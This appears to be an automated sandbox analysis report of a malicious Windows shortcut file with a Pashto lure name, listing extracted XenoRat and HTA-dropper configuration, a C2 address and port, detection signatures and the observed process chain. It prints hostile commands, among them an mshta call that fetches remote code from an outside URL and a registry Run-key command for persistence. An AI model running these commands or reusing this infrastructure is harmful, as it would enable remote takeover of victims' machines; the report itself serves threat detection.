Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
20/05/2026, 12:19
General
- Target د_هغو_کارکوونکو_لېست_چې_د_فکري_او_رواني_جګړې_سیمینار_ته_.lnk
- Size 1KB
- Sample260520-phbweagy2l
- SHA256 3b4194bdfe40d94031a94b30397ffd8a4b09d0a4057668e897b8bdcd1703dd01
Malware Config
Extracted
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hta
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hta.dropper
https://abimj.edu.af/institute/cloudiyaf/index.php
Extracted
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xenorat
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185.235.137.106
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clouda
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delay
5000
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install_path
nothingset
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port
8996
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startup_name
nothingset
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: XenoRat
XenoRat is a remote access trojan written in C#.
- Detect XenoRat Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- Badlisted process makes network request 11 IoCs
Network request originating from process or tool commonly abused by malware.
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\د_هغو_کارکوونکو_لېست_چې_د_فکري_او_رواني_جګړې_سیمینار_ته_.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "https://abimj.edu.af/institute/cloudiyaf/index.php"2⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\document.pdf"3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\temp\noway.bat" "3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Edgre" /t REG_SZ /F /D "cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.hta"4⤵
- Adds Run key to start application
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Users\Public\USOShared-1de48789-1285\zuidrt.hta"3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\USOShared-1de48789-1285\zuidrt.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}4⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.hta"1⤵
Network
MITRE ATT&CK Enterprise v16
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Downloads
noway.bat
zuidrt.hta
memory/1304-10-0x000002AE76960000-0x000002AE76ADE000-memory.dmp
memory/1304-11-0x000002AE77010000-0x000002AE77538000-memory.dmp
memory/1304-12-0x000002AE74750000-0x000002AE74758000-memory.dmp
memory/1304-13-0x000002AE73EA0000-0x000002AE74383000-memory.dmp
memory/3024-29-0x0000000006CB0000-0x0000000006E04000-memory.dmp
memory/3024-30-0x0000000006F90000-0x000000000710E000-memory.dmp
memory/3024-31-0x00000000076C0000-0x0000000007C66000-memory.dmp
memory/3024-32-0x0000000006E10000-0x0000000006EA2000-memory.dmp
memory/3024-33-0x00000000081A0000-0x00000000086CC000-memory.dmp
memory/3024-34-0x0000000006C80000-0x0000000006C88000-memory.dmp
memory/3024-40-0x0000000004450000-0x0000000004464000-memory.dmp
memory/3024-41-0x0000000007E30000-0x0000000007E42000-memory.dmp
memory/3024-42-0x0000000009140000-0x00000000091A6000-memory.dmp